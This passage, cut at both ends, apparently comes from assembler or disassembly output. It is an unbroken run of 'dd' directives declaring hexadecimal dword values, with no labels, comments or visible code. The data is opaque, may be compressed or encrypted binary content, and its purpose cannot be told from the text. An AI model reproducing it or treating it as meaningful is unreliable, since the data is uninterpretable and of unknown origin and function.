0AC0E14F7h, 0E21C3256h dd 16A47CDBh, 3E36AD02h, 2C8C825Ah, 9EDC99D5h, 0B804318Fh dd 0C18CC457h, 67F11E10h, 98D92630h, 5308602Ch, 0B177002Ah dd 0EE10BAF5h, 0C6D83412h, 361EACE8h, 75893CA9h, 3201FD13h dd 0F86AE5EDh, 0CA4E0506h, 0A49D1860h, 0E389A9Ah, 0F9B215F3h dd 0DC02C689h, 0F8AA024Ah, 90852729h, 0DA4C2053h, 224AA36Bh dd 0E8FDEC02h, 0C06C62F2h, 0DC6C77AAh, 64488958h, 730048DAh dd 0EF9B34D2h, 122E6238h, 8B9949ABh, 0C00EC81Ch, 5E100566h dd 38349379h, 5CD9A0D6h, 3ABCDC3Ch, 42ED038Ch, 39EE6CB1h dd 8C7C6392h, 94B4B040h, 1390006Dh, 478DA86Ah, 0E80069A3h dd 0D2926186h, 943D9D7h dd 3CA063FAh, 70524458h, 313DE244h, 2094F0A3h, 3403557Dh dd 45E12EC4h, 70CAE26Ch, 27C71608h, 835821C8h, 0D60D1062h dd 20E8980Ch, 442A1803h, 0E300C0ECh, 93C56BE6h, 3BE21BD0h dd 64064913h, 0B03EFCB8h, 43F86F13h, 0DAD5F821h, 347BCCh dd 6631C19Dh, 1D63F2FFh, 5C6B332Ch, 0A0F0DD47h, 17E67DCh dd 410509BCh, 0EC2DEEBDh, 0AE65EC54h, 18007098h, 0BBC8F80Fh dd 0DD7FCDh, 0B8A0C91Dh, 836C8F56h, 2F18C659h, 0DEE081FAh dd 62030DE7h, 0BEDA3F88h, 336A3C00h, 0CE99E5C5h, 79A90CC9h dd 0E3996408h, 3DCF040h, 0AD99CAF6h, 3EA05CC9h, 637DBF61h dd 604A680Bh, 0C6D40145h, 0E600441Fh, 0D62CACE3h, 4CABDC3Fh dd 2EE69D78h, 844F34Dh, 3B3D363Ch, 382F5F6Eh, 17001123h dd 0FA81AE8Fh, 885050CDh, 0CC1C40CFh, 3FE05A50h, 3B8144B6h dd 2E06F4C3h, 0FC9A1F8h, 75DA3D74h, 0F1C1232Eh, 20FDC7E8h dd 300FEF4h, 0AF99DC1h, 0A24904E3h, 81BC5198h, 0A85C29FBh dd 0B0AC3C07h, 12A0310h, 3F0AE966h, 0F42B49ADh, 0CB2DF48h dd 0B09FC86h, 0F2257028h, 880C0A28h, 498CDE68h, 73980502h dd 95940C5Ch, 206F2394h, 63FB1284h, 54CB25h, 5C9260A7h dd 7985A986h, 404269EFh, 9D0FE8DAh, 5FC8093Fh, 0C1B17E00h dd 3A4858h, 395338Eh, 47A85B64h, 0FFECC197h, 7CC0907Ch dd 4A6BC7D5h, 271B448Ch, 1DD56400h, 0C7375459h, 0BEA90A8Ch dd 2BD03F6Fh, 0B7320234h, 79120AD7h, 183979D0h, 146C000Dh dd 568B4A4Dh, 904DA064h, 0D7645034h, 464F341h, 9698100Ch dd 10D4486Bh, 0B0B0772h, 44253830h, 0E76C92EEh, 8E917320h dd 6E220A67h, 8820600Dh, 16BD06ABh, 0E490CBE7h, 0E3DBD7Eh dd 5ED0DAADh, 0C5480B72h, 0FC4AC65h, 0D035AE60h, 787D182Ch dd 1B137700h, 9DA5054h, 19FC531Eh, 1600D47Eh, 495C8F62h dd 0ACD7012Eh, 0C939710Eh, 642F6A8Eh, 0E9001323h, 6321272Fh dd 87D30F3Eh, 50A50496h, 6CD0E447h, 1BB3E300h, 0D7517865h dd 1C0C5CAFh, 13E6CBC4h, 370020F2h, 36CC76B3h, 7F6ECC3h dd 0B700C67Dh, 0FB869A96h, 0A8D5CBC2h, 0B5CC3A0h, 4231806Ch dd 8E421459h, 9A4600DEh, 0A00988A6h, 0AFAF13ACh, 0E03C09F4h dd 27FA6A18h, 0C4C5E9EDh, 75631BE4h, 44E462E8h, 854F6500h dd 8BC06A37h, 0EBF35CC5h, 7A88201Eh, 74905CA4h, 90001846h dd 0CAD77995h, 8D0CD04Ah, 0B82A7888h, 402F4BC8h, 0B7B20B40h dd 7600D610h, 0D47FA80h, 24F1CB4Ch, 8AC6B6Dh, 0D21AE54Fh dd 8648E48h, 0E1F1002Dh, 7D223F9Ah, 20F52401h, 10C58486h dd 3ABCF068h, 235E098Ch, 0A100CA6Ch, 0DE4B63DAh, 0ADEE131Dh dd 145FBE06h, 0D1E89188h, 2DF01810h, 9864B94Dh, 24603512h dd 98F89883h, 2E22278Dh, 80083353h, 52A83E18h, 0F3481FD7h dd 2143CD3Ch, 0E62CA802h, 7C64F80h, 0B06BEE58h, 68625394h dd 6F8E5F2Dh, 0FFEC4098h, 7301E0BCh, 94BBF2A0h, 1DC812FAh dd 0A482121Ah, 0FD40D0A6h, 0E099C4FBh, 2D180879h, 2787AC0Eh dd 50E7C478h, 0BB6B9380h, 70059F5Eh, 0BE14B0EEh, 68E83B2Dh dd 8032CB44h, 0EA50D2C5h, 0E640F48Ch, 0E4881035h, 78CB180Dh dd 0B6C72ED1h, 90628660h, 0AA4B4107h, 602384C9h, 40300EA2h dd 0A0B13DF7h, 58963438h, 410F249h, 0CCABC0Bh, 0B0791309h dd 0EE091D1Fh, 45D47204h, 36F897F0h, 0C4F6F0C1h, 23942E2Fh dd 5BCA0013h, 0F80BBB83h, 11D41606h, 28612044h, 0E8479Ch dd 0B522C65Ch, 0C91B2E15h, 0A0525712h, 0E2B63044h, 59196B06h dd 638C7DA0h, 64CF5201h, 31113B03h, 27F90CF4h, 0E082A053h dd 0B03EBC8h, 8B24EA60h, 3F1071C0h, 3FA840CEh, 0E827C040h dd 0D784D80Fh, 0A199E011h, 38C3EC5Ah, 1D01C874h, 206B489Fh dd 68456FD0h, 8C0BE6DEh, 0D9F49070h, 8DC1993h, 0F4C32CDDh dd 0D2F06D45h, 50C66527h, 93272098h, 9108979Dh, 71E48026h dd 60CC95B5h, 0E562192Bh, 0D000A976h, 0DD567AE2h, 0A1D6828Ah dd 0FC01EAA0h, 34EE00E6h, 6AED2788h, 2A581020h, 127F4E6Bh dd 23C42B00h, 272C978Eh, 0AABC169Eh, 803C870Ah, 0E6FD5775h dd 52200890h, 3E9916EBh, 0B124B64Bh, 0C9C84774h, 0C3450BBEh dd 0E418D136h, 3A0142C4h, 0DC253F7Fh, 257E792Ah, 23883AC4h dd 0DE6E0E12h, 0A702D9AEh, 58C06676h, 0AD80D458h, 52370026h dd 7AD6AC3Fh, 0C890797Ch, 70DED91Eh, 6A94C8E7h, 3141038Ah dd 0AA53CE4Bh, 18B29CF0h, 1EA3D38h, 0A0E4ADC0h, 48894DD2h dd 0CAF2505h, 631D444h, 0BB95AC8h, 0C208895h, 5047F049h dd 0FF5FD1A8h, 0D8186D6Ah, 58B9B844h, 66FB9900h, 806B0F1Ch dd 5CCEEB4Eh, 0D1C00EC8h, 9070E7ADh, 4F3F0008h, 2EE5EF15h dd 99DDF0Fh, 10F1A0h, 0FC69DA27h, 10008BEEh, 0FAF5199Ah dd 3437350Ch, 0C479E6E0h, 1090A9DAh, 66019380h, 0B49FB9F8h dd 10C46D46h, 0CC09147Fh, 0D423524Dh, 49051853h, 0CF98882Ah dd 48C66CA0h, 0DB189894h, 1702099h, 7951D103h, 9A54220Ah dd 5EC8DED8h, 7A050846h, 0C7AD8D96h, 0B6591028h, 0BC123695h dd 7829131Eh, 8C036460h, 0D3D57804h, 84BC6A6Bh, 0D56033B0h dd 0AD53B307h, 0D3A26235h, 70E0E963h, 18A86E7Bh, 0DA922F3Eh dd 0ABFD0966h, 44C01BBEh, 2627B098h, 6484E74Eh, 53D06026h dd 0CC2C0BA2h, 80A192C9h, 80237BBEh, 45BAC160h, 0BF96A44h dd 76049D3h, 0D201C064h, 0D6AB8F86h, 44012A81h, 0DC21801Eh dd 368004C0h, 0C9AE004Bh, 44777FC4h, 6B80D0BAh, 9768BEA3h dd 0D33CE415h, 0DA4EF042h, 0C0D78088h, 5CF269h, 0A806DE9Ch dd 8AFF6864h, 0CB40395h, 625104EDh, 0A895C8D6h, 0C0DB5E68h dd 0D5170780h, 0F13FFFDAh, 2A5A946Bh, 2FD62094h, 4847DE77h dd 641A64h, 3C2A8E3h, 1313ECDCh, 2C055A59h, 24B82C89h dd 0C8042A88h, 10F8EC46h, 0F8C37ECh, 0F184EB57h, 0FA8603C0h dd 0C72C756Ah, 4A4030CBh, 399622E0h, 0AD809B2Dh, 338F4692h dd 829FC184h, 817DA30h, 10E810E4h, 2E96F178h, 1423C0h dd 99B6281Bh, 3490C1FCh, 29518201h, 0E7C7DEA8h, 8C107C22h dd 0A42E9340h, 0DC003923h, 43ACFB9Dh, 5F5C9006h, 89F070CCh dd 0D8002514h, 63BA4005h, 4AFFA9h, 2A8EE837h, 168DC666h dd 316C6835h, 3AC868CBh, 7FC885C0h, 5DB700D1h, 0AA51592Fh dd 0B0949FB6h, 780CE14h, 67098F80h, 0BAB097A0h, 7FF8C04Ch dd 0F673DA9Ch, 892C770Eh, 46CB0033h, 914483AAh, 7D103038h dd 0F8026ACEh, 276FAFDAh, 678C4060h, 59528032h, 0D2E3B4BAh dd 58902D01h, 40F0006Bh, 1E0DDA2Eh, 5C93210Eh, 8BD604ACh dd 9E011CB8h, 556B35B5h, 5870AEF2h, 93D4F5DCh, 6BEE024Dh dd 0C5BBF9FEh, 465E585Eh, 0A4FE0519h, 64FC4345h, 8DD6A8C2h dd 48A714F0h, 8C600E44h, 0C1480964h, 8DDE05F4h, 4CB44461h dd 0A45F4CE9h, 0C6AC5E03h, 68041563h, 8285F0EFh, 0C05C04A8h dd 0F6BC3DC1h, 14446FB7h, 6009B312h, 54A1F002h, 0B4A09800h dd 0D7878029h, 62661400h, 0D641562Dh, 2A1F1C88h, 9EEFC168h dd 65793B84h, 4D10425Ch, 0EE3DDC80h, 36168BA4h, 0D420DBE8h dd 3A43B0E2h, 94176A4Eh, 0E1B0D295h, 0D82D859h, 0D26B9A30h dd 8B392FA0h, 0A057AC83h, 0C9ACA4C0h, 6AA11CFh, 4A80125Bh dd 80509293h, 400F3463h, 3B4E849Dh, 4838E020h, 3518C00Bh dd 0F0E2D59Fh, 45137501h, 0DF6B1CD9h, 1AFAA980h, 0B05682BBh dd 0EF024F02h, 57AA9B64h dd 550F8899h, 532C81F0h, 4067F1h, 0A9837C1Fh, 13B4D3C3h dd 0FCF118D5h, 8E3713F4h, 26B2B8A3h, 0E8B60530h, 2DEB7FB1h dd 3CC704F7h, 3BF44608h, 0D7521302h, 2C5CE8FBh, 53498847h dd 352DD0C4h, 0BC448004h, 0D010E52h, 0D57C90h, 4A6A9B65h dd 0B708C8EBh, 0F49EECB2h, 18E600DCh, 916133C3h, 0DE636C50h dd 1346177Eh, 0C86044D8h, 0EB41F404h, 5F00F82Ch, 3D6897B6h dd 0CB043B4h, 74D0124Ah, 40EB900Ah, 0AA90AA41h, 0F0F449C0h dd 0F19892E0h, 0A625A83Ch, 4009451h, 6E28CE6Ch, 771D0744h dd 0F289EA9Eh, 0D50FE5h, 0B6ADE9ECh, 71162552h, 0C6A89C20h dd 60CF115Bh, 7834E9E6h, 0D75120Ch, 41680449h, 0FCE616B4h dd 0CCD7BFE0h, 72CA5007h, 64C99215h, 0C68900B0h, 71B41A9Fh dd 9FE8580h, 0F9185302h, 7E83DD64h, 0B491030h, 61ABBEA8h dd 6F6AC5D8h, 10870540h, 0CC82D199h, 248F60Eh, 4AF1C4FDh dd 0D6307Ch, 0A7BBBC80h, 646DD6B3h, 4638B810h, 0E67AAA05h dd 80ECA8E3h, 0A66A256Fh, 88B4A177h, 6450103Ah, 18C39B8h dd 13B8E15Fh, 7A55C751h, 6C480801h, 607ADF1Ch, 1040D930h dd 0E58B6A00h, 91ED37FEh, 0A0F409h, 97C00FCEh, 0DD8AA3DFh dd 4B5BBE22h, 5AE89044h, 0B33D4EAFh, 0FA2F05C6h, 68D4A4F2h dd 2F6E849Dh, 182358h, 0CD2D7876h, 7498A5FFh, 0DD2B2504h dd 0DCC08FE4h, 95C9E102h, 3F11109Dh, 6BC41C80h, 8E04A7A6h dd 9E2AE69Dh, 9872F881h, 82B3F09h, 0A4092423h, 0B0CF028Ch dd 0D5C04909h, 13B2EC63h, 7D188430h, 7D5A0509h, 80CD9A39h dd 79F10AA0h, 497F190Bh, 0E58C106Dh, 0B41DFE54h, 3C57004Ch dd 53C29E6Fh, 860EA812h, 6712E8E9h, 4FFCACFFh, 0E9C61021h dd 94886500h, 0F464234Fh, 3AF28CA2h, 9ACC1E31h, 0C52D3DBAh dd 5474C97h, 49D031ACh, 0E4A9613Ch, 0DCC876h, 0E0F488CCh dd 794C7AE4h, 2214B927h, 0DAF12AC4h, 9567200Ch, 150EAC0Bh dd 64F86725h, 937B6012h, 0D2F60047h, 48A4C4E3h, 0C25D626h dd 7084832Bh, 6D31001Ah, 694EB93Fh, 0A57E1338h, 2FB13000h dd 7A5CB8CDh, 0C68113E4h, 0B600403h, 0FDC01E2Ah, 279A4796h dd 7F612719h, 4200ACC4h, 4360875h, 54F2179h, 26E8488h dd 7FE0FD3Fh, 8580F9A3h, 8F3868C6h, 271F00F5h, 0D588D4E5h dd 0FDFE021h, 5628E616h, 470580Bh, 8FC04CADh, 20750D4h dd 0A86FBF5Bh, 39C13D6Bh, 0C5A2E4DDh, 0D8D29324h, 90D05585h dd 4CB3A0C4h, 593208E2h, 0EC814B84h, 0E8FEA075h, 70B6ED69h dd 84BE12C0h, 4D670762h, 80878336h, 0EBA17A07h, 0DFE864EDh dd 9EF40A02h, 0D8AB389Ch, 10208044h, 0C074000Ch, 976FDB04h dd 0FF1E7D3Bh, 2DCA5E5Ah, 904BCC0Eh, 340B464h, 7955E07Bh dd 49485A6Bh, 944170F8h, 0E1ED7C42h, 0CD2A2E60h, 7B6C078h dd 4871F14Fh, 316A0A2Eh, 1668F78h, 0A850AFC8h, 4FAC280Bh dd 68F8310Ah, 22D06D47h, 0CC840043h, 0F374CC5h, 6D07A131h dd 306053BDh, 0C6B881BEh, 0FA60BE27h, 74E597E0h, 7651AE4h dd 79665FEh, 5C0D305Eh, 0A49960CCh, 971826F9h, 0E9A6D00h dd 1632840Ch, 64749ECAh, 0D9F0880Ah, 88A8C872h, 21636C49h dd 2ACB99h, 68EB2351h, 0EA16F184h, 3B0F9613h, 0A6BBA503h dd 1580011h, 1D9173C1h, 409BC50h, 9D38E417h, 8038117Ch dd 615D32C5h, 170CF65Ah, 0A42D5088h, 6A7F83A8h, 456BA8C4h dd 23B83EBAh, 8EE0030Ch, 3CF8D3F1h, 5C4CE25Eh, 0B77D0EB0h dd 0EFBE8421h, 0ACF1F4E1h, 2588644Bh, 0F95924C3h, 6022A064h dd 25181600h, 0E5BAC782h, 24606280h, 44403A48h, 8F75088Eh dd 0FB6F9B7Fh, 99F8C0F7h, 0FA0917E6h, 0A42C9ED4h, 7095ADD4h dd 4CB838ADh, 0E7112F62h, 80C456C8h, 752E3043h, 0DC1C84D4h dd 0BD97536Bh, 0CB92E45Eh, 99A93421h, 40E3AC20h, 0E2FAA8Eh dd 0F388C068h, 0E041E3F0h, 0E189398Ch, 0B8F9829Bh, 8493EF88h dd 3E23BEh, 0AFCB9D7h, 0DB045BEBh, 58518048h, 9F38ABBh dd 0E16250BDh, 409718D8h, 206821DCh, 145F90D7h, 0C8559C23h dd 1E050ED3h, 0C50BC4B9h, 823641DBh, 7A274F80h, 0DD6C17B0h dd 0C32D2DBBh, 0FF453860h, 4B10C612h, 2FAC28A9h, 6D2593Ah dd 80A6F64h, 47EF2270h, 70880B13h, 8C6F50E1h, 0FD0E18E8h dd 2B0EADF7h, 2F14DA3Ch, 185141B3h, 63E0B804h, 5C600416h dd 6BC7070Ah, 9AAB2F4h, 0B0A40588h, 0F3790066h, 7BAB6BCEh dd 0F868C7DAh, 58F1EB15h, 0F303BF04h, 30AFE201h, 15700032h dd 0A71CBE28h, 11CAE861h, 0D9E053F3h, 549C12EDh, 0EDE4A1FFh dd 0A8D029E5h, 1AE08C3Ch, 3F3C7170h, 0EDFD0075h, 0E4909910h dd 0F1C49936h, 9180Fh, 5414AD67h, 0D870A15Ah, 8CC43F2Eh dd 8821F310h, 0B86B2A39h, 73D75209h, 7444C41Eh, 76ECB654h dd 631F3D46h, 50BF0369h, 0DEDBFCA9h, 0C7300B8Dh, 12ABDC0Ah dd 939C0454h, 0B8CC0244h, 4734F6D0h, 93479446h, 30E1DBB0h dd 38022A8Ch, 0A29966B6h, 0C6562108h, 0CC5425E8h, 0C69E44E8h dd 18039772h, 3646D363h, 4E0AD08Dh, 61621205h, 8258ACDEh dd 5F4B67ECh, 0BF320481h, 4414243Fh, 0C29980F5h, 525A0DE6h dd 0C3B7160Ah, 88B0B4E4h, 60108D42h, 79AA849Fh, 756CD898h dd 0C03C4E0Dh, 36D448ACh, 0F77B31EEh, 27EEC1C0h, 47B56B4h dd 0D886BDAAh, 4B4FCD4h, 0F553598Ah, 23042FFBh, 0C2C3000Eh dd 6148E35Fh, 0B6A1F361h, 30726B3Bh, 4E4F3A00h, 99A67E11h dd 2CC6460Ah, 0A808B470h, 0A49D0422h, 5068AC5Eh, 50B4D8ECh dd 0C89F13h, 9E570999h, 0FCF05AA4h, 8C600B09h, 703CDA28h dd 0CC18D7E6h, 3728907Ch, 34B4908Bh, 0FE9DC160h, 0A08E978Ch dd 880D0E91h, 0E07001A4h, 542B77CBh, 9C511078h, 0FEC342Ch dd 0DC6E008Ch, 9BAA310Dh, 8700CB1Dh, 60EAC40h, 0C18EC785h dd 6203AF24h, 64D6D2D6h, 1D37465Eh, 0EF4033D1h, 7E770C30h dd 32F491h, 0E3475246h, 57161DBAh, 0FE6F3E01h, 46AB097h dd 0E168407Bh, 2F8EF57Bh, 1532AD1Dh, 63EE80FEh, 5097E0DEh dd 0C67716A4h, 1A68F0F9h, 3EC9E222h, 0CFA5AAE7h, 0ABBA7840h dd 3452875Bh, 0AABB50F4h, 0A88440C8h, 8E4388D1h, 0AB4F96F8h dd 1C334C84h, 31AF9478h, 6E43F320h, 6BE3C04h, 191FD100h dd 0C02D849Eh, 0F1D8B9D7h, 0F5E0C6C9h, 28A09F11h, 35102814h dd 844F280h, 0BF886269h, 7408D0A6h, 0C50271Eh, 3C5FD109h dd 6140D43Ah, 0ADBC849Dh, 46983270h, 47913A30h, 2052FD3Ch dd 0EAA2B4C2h, 31283021h, 0EE8CC207h, 6501A4D6h, 982BB327h dd 88490034h, 660A1624h, 0C0E13A9Bh, 13BEDE61h, 0B86201D2h dd 929050A6h, 870231F1h, 5434EE66h, 4AC402Eh, 1077823Ch dd 7A8E9A4h, 65B25A07h, 6504F7A7h, 0B78F0086h, 0BE8BD216h dd 12F13425h, 56EC7428h, 0A63B0D46h, 36EEA080h, 0D06637B8h dd 2CB9D00h, 0D6562CEh, 0E97768h, 1FF341D8h, 0DF326751h dd 3419F4EAh, 0CA200CE8h, 0E2BAD8h, 0CB6740A9h, 61F70D0Fh dd 2D126F74h, 0C0F99A56h, 0F9EA6D00h, 0EF6A09F3h, 9D21D039h dd 0CE44D24Ch, 30901729h, 2C0CF7h, 0D3F9794Fh, 0E78F91ABh dd 0B713EC76h, 90F41E7Bh, 0CC28C1F8h, 6AED3965h, 44E9348Ah dd 4CF40387h, 0BEA13F5Bh, 6810887Fh, 93390C95h, 0BB3EA508h dd 7A26183Dh, 0C6139420h, 18AFD808h, 8D4E731h, 188D7E09h dd 3108A50Dh, 43408C69h, 63340864h, 0ACB5186Fh, 0C7C30819h dd 208C3239h, 9C10B050h dd 73201563h, 0CA18188Bh, 0A75D100Ch, 0C5E708C6h, 53143128h dd 8833D720h, 0C94A608h, 88288569h, 0C3E999C6h, 43123108h dd 883C7020h, 0D47A008h, 8899819Bh, 0C0FC941h, 0DA103A2Ch dd 40E6A840h, 0B5625740h, 6686B50h, 0D154F1FBh, 0A4A89B9Ch dd 28C4E145h, 181E4973h, 18950834h, 0AC88C892h, 0E58075F1h dd 76248019h, 0E9DD08CCh, 556140D3h, 0F310D666h, 0A1BD3371h dd 3937B808h, 707461BAh, 873F306h, 33A90520h, 0E0202EFAh dd 7BAA7110h, 58CF2F18h, 0BC809C47h, 1028DF59h, 0CB90180Dh dd 8177D820h, 65D8516Fh, 6DC501CCh, 8C1C604h, 20568D32h dd 0FF144959h, 0F20831F7h, 8CA2EDC9h, 40E32E10h, 7E7940CAh dd 0EA10C663h, 6A282A58h, 151032C4h, 5F0F74E9h, 0A2220E0h dd 6BE4EA54h, 2740CE62h, 464D0591h, 297170C4h, 92FA08A9h dd 50461289h, 2018E5C5h, 0B16463A5h, 409152D1h, 5C010EF8h dd 9F288CDFh, 625608B4h, 0D84E2041h, 1654849h, 0A20160B0h dd 3C38890Bh, 0A498289Ah, 208E378Ch, 0A96A40E6h, 924B9740h dd 0C1DB31A0h, 536EFF28h, 82A98A8h, 231F4FEh, 0CDA08A3h dd 8448C002h, 0D981391Fh, 4999F199h, 11E45554h, 43209019h dd 10C21A32h, 5FDCA2B5h, 91B7045Ah, 349D890h, 14712A55h dd 598865E8h, 0AF904C2Eh, 0C9CAF581h, 4088CCAAh, 0B1A2085Dh dd 8C0323Ch, 9F08486Eh, 2210C9E9h, 91177424h, 8CDAE030h dd 615F0710h, 0E6658066h, 22F718C9h, 557A1E8h, 0B8200C10h dd 93652008h, 0A04C87C9h, 63081048h, 7CFF0831h, 8AEE1810h dd 0E0BCC82Ah, 1208C9ADh, 91D92824h, 8867024Ch, 2A69810h dd 0CBF2BC7Fh, 7E05A464h, 5B71F613h, 1296C490h, 5897301Eh dd 2C162D10h, 0CAF37000h, 0B2A6444h, 887D59DBh, 0D0E84200h dd 68319654h, 78248D00h, 57B0CC5h, 490D0433h, 0F9DACFE6h dd 0B0BA1E90h, 623C4800h, 2EEE1F0Fh, 3041C8BFh, 57F4F050h dd 43EB5E05h, 88C09159h, 0EE44E4h, 6B13C3DBh, 98DE7F65h dd 0FCCBCF0Ch, 0E0BC00Dh, 0D3D8E6DAh, 1DB9D980h, 4600F618h dd 0B0DF715Fh, 30278BCEh, 3E18D202h, 3CECA037h, 586A8612h dd 0EC0CF0h, 1B117ADAh, 61EE7B05h, 5CCC80B8h, 7864204Dh dd 0EB40EE3Dh, 5C1E6DCh, 440561B8h, 7001FBFEh, 7BEBC860h dd 8013C892h, 70171A54h, 58403D4Ah, 6568BDCFh, 0E1441801h dd 0C857E084h, 38829231h, 9C4059EEh, 608143BCh, 0D1B06ADDh dd 480029FBh, 8454A150h, 0F4EC3388h, 358E87Fh, 0E5D6655Ch dd 4902438h, 0B007EF8h, 88305045h, 0E4331562h, 28E5002Bh dd 65D35BD2h, 5809410Bh, 40B7D6C8h, 39F42A4Ch, 0B04E6B66h dd 7003D308h, 8D43EA91h, 4E07E3Bh, 0A2443422h, 8FC0B47Bh dd 525A0B00h, 326BEB6Ch, 3C8BB734h, 3189DCA9h, 0D1067858h dd 648FCA65h, 0EB1528E0h, 0F96B2588h, 1A2F84E0h, 1759263Dh dd 0A00F13F3h, 0B5F8758h, 0EAD452A0h, 160E31CBh, 0F037C658h dd 7C61C78Dh, 0C2DDAC69h, 0FD13C4h, 37087493h, 0C0D23678h dd 6D9F5800h, 1392EEE1h, 0DF1B0345h, 375E4488h, 8763C839h dd 35C8D117h, 0A95C2263h, 0C8476A51h, 6D06B06h, 75C1143Bh dd 5004B893h, 381C0B2Ch, 20B05EC4h, 0DDF45859h, 146C24h dd 4E8C0CC1h, 9A60AA6Bh, 0C40BC8E0h, 35610AF9h, 2AC81333h dd 0A6901C0h, 2846D334h, 25D98894h, 350500E9h, 0BA762017h dd 1EFBCB18h, 24850FF0h, 0C883CD5h, 0B8484E6Dh, 0B276D700h dd 6A944484h, 18596057h, 6C5103BCh, 3170C4BFh, 73787189h dd 20D07F90h, 27E52D15h, 28509961h, 0F895FA30h, 95B36BFCh dd 265CCE8h, 2969350Eh, 5BAE027Dh, 0D00660A4h, 0CBD50C7Eh dd 0A828153Ah, 6CCE7424h, 16791D08h, 403B813h, 1BCC0BE3h dd 30C868F0h, 6780E899h, 0D734CB9Fh, 0FC21188Ah, 0FC7C1C77h dd 70286B3Dh, 0FA6C00A4h, 0E6A039A5h, 523D7150h, 18593047h dd 0F9FE4Eh, 0C6960770h, 0E772C473h, 578DF0Ah, 2C1E9732h dd 18AACB86h, 0FE637068h, 0CDC4ABE4h, 0C456740Ah, 34339E00h dd 0C36972BFh, 5891CB18h, 0E3602007h, 7CE07184h, 766246DDh dd 0FC6801E5h, 0ECCBD1F1h, 5C28AA22h, 71A85605h, 301FA76Ch dd 69EBA602h, 6BFC8602h, 46BF0008h, 4EBD9D64h, 9406DD62h dd 0CE87D68Bh, 0E6EB2950h, 9F9E1C8Ch, 0F56B0934h, 4124D48Ah dd 55568348h, 49CC03C0h, 11503CCBh, 0F630CC98h, 0A0D048C4h dd 4F8F3344h, 6AE8C238h, 48C5BA03h, 5406B8D7h, 4D80CED0h dd 7800B477h, 0A8F55F08h, 5A3ACF72h, 10CC489Fh, 7504626Dh dd 0D1E53249h, 4DC2160h, 446E8001h, 34010784h, 592AF046h dd 0B47AA00h, 448F9266h, 2C744D37h, 0ECDE2E01h, 0F070A859h dd 18C076E6h, 0C63404F1h, 9431CA65h, 605799CCh, 5C84CE6Ch dd 64788C50h, 8068098h, 6F4D092Fh, 4FC520B0h, 2E00E090h dd 629A566Bh, 0B02330Dh, 0D2505ADBh, 216A0049h, 0C3380h dd 748162D6h, 7DFC03Bh, 0F140D584h, 0F4D8B96Ah, 128D04Ch dd 16ACA3FBh, 2E3556Bh, 0D3A1C618h, 80606234h, 0DCA44313h dd 0AC3A6B26h, 4AFD08h, 0DD0575BCh, 0F85087CBh, 0D2025FD8h dd 14C8599Ch, 47A84039h, 0BB4A01D9h, 0ACCBDC3Dh, 0CF550034h dd 61DE26E8h, 570B0780h, 88E565CEh, 9F480F00h, 0B5A918D4h dd 50638B58h, 1071A04Fh, 211844h, 0C890ED73h, 596B2FCAh dd 6C01B881h, 0B2D4E0F6h, 2A6EF9D3h, 61671000h, 16F9C206h dd 1D8FEE43h, 343B4268h, 0E00CBAh, 0A824050Bh, 5C09403Fh dd 78E0A01Ah, 98D7022Ch, 46530028h, 0E60BBCCFh, 572A43FDh dd 0C814EC26h, 49C4B6CEh, 10049598h, 604973CFh, 0F680033Ch dd 33BF6664h, 14EC6B10h, 12C30CBh, 6277F073h, 581D0824h dd 5610DC33h, 751E747Ch, 0FBA4ED6h, 1751EE0Bh, 0D77D8800h dd 0A382486Ah, 40A5AA80h, 9050304h, 470B2FAAh, 1CA6011h dd 29000D87h, 9B5976C8h, 0F8BB0BE8h, 0A9F8067Fh, 6E60F48h dd 40033288h, 5188DB60h, 0EE002F23h, 0C56B50DAh, 272952A3h dd 0F4E00344h, 0BBE89543h, 0FF67041Dh, 842D24CAh, 0E65D262h dd 0E86FCEE0h, 942CF0C3h, 4024540Ch, 41F7408Ch, 0A43C9378h dd 0C764023Ch, 7846CE50h, 30B1A741h, 2E8D49E9h, 0E4219484h dd 500016EEh, 0D00296Ah, 0B36C3037h, 48981FFFh, 8300A011h dd 2C04B884h, 20CD4CBh, 78458544h, 0F0A2E0A3h, 0C9486FCAh dd 0EDF46BE3h, 0D4FE8104h, 0B8821311h, 0C8B8820Bh, 1C5C7Ch dd 0A7EBD8DBh, 0CC062C3Ah, 2F4B6BD1h, 37E61E38h, 41790C33h dd 4813CE10h, 80300901h, 43105AEh, 869E1C40h, 0AC0EBB06h dd 5804F246h, 20CCA56Ch, 43C40FD1h, 57E04293h, 886E0D9Ch dd 0F663010Ch, 0DE07204Eh, 0F90CC20Eh, 0F4D834C9h, 330017E0h dd 0E7C2BD77h, 4EB01EAh, 43D2A82Eh, 4B80D4CDh, 0B02F96D8h dd 0D80BCB85h, 0F137CCA8h, 0B88C8864h, 80749174h, 3277E608h dd 40C56294h, 0F493596Bh, 0BC9EA8DCh, 4B4A000Dh, 8B7BEEDBh dd 0FC1603CFh, 0D8E0FFC9h, 92FE18h, 46ED749Eh, 0E92EE46Fh dd 0C6AF209h, 2D902021h, 28C60433h, 123C9A55h, 395446Bh dd 0D33FD460h, 0D0115B90h, 24A060E3h, 6306EE98h, 2A036B62h dd 0BCDA4A48h, 7AD080A4h, 982335D2h, 8075FC74h, 0FB003FAFh dd 9F4F8033h, 0CF91562h, 5B3442Eh, 5503B820h, 0C623D1EDh dd 11E1E183h, 164F3980h, 0F7C85407h, 0E2A0B960h, 0CD714Dh dd 5FD9FEB5h, 79478CD1h dd 0EF4E9E00h, 771E1397h, 0D7A805EEh, 888EFE6Bh, 0C9586A10h dd 72E609C2h, 81F44ADEh, 93A61FD8h, 0EF19EC28h, 3AE030AEh dd 0F8EC5841h, 1C2BADC9h, 0E4D10090h, 26CB6B04h, 0B0C120DDh dd 5D05142Eh, 0BADD108Eh, 30F05058h, 9E130114h, 0C5BF3B88h dd 7ADB0434h, 24E0BCCBh, 4E30148h, 0AC6940C8h, 0F641D068h dd 0CB9043h, 66BEAD38h, 76D0610Ch, 0CDB3D20Ch, 12A17091h dd 33F24Ch, 0FD8D1FD4h, 0D61DEC68h, 518B9379h, 0F36000A8h dd 9AE20CDAh, 99849828h, 0AC202418h, 0ADCC08C4h, 901F4B8Eh dd 0FBD3F81Ch, 94C9ED86h, 0E04CA092h, 0A5EC8424h, 0F0C86884h dd 0F9EC906Ch, 6408107Eh, 3429FD25h, 0DB0C945Ch, 16C41FEh dd 261759B4h, 719BD04Ch, 808004Ch, 6804CED3h, 0D61FB37h dd 0CB0AA8A6h, 1FA09BE2h, 684A676h, 0A06FCA77h, 0C8100B60h dd 0ACF0A8B3h, 6B89C2A8h, 6048B728h, 46009D56h, 13696FD9h dd 0E27ABF9h, 0C16BE336h, 0F2A6C0FCh, 8A96662h, 73007090h dd 0ADF514C0h, 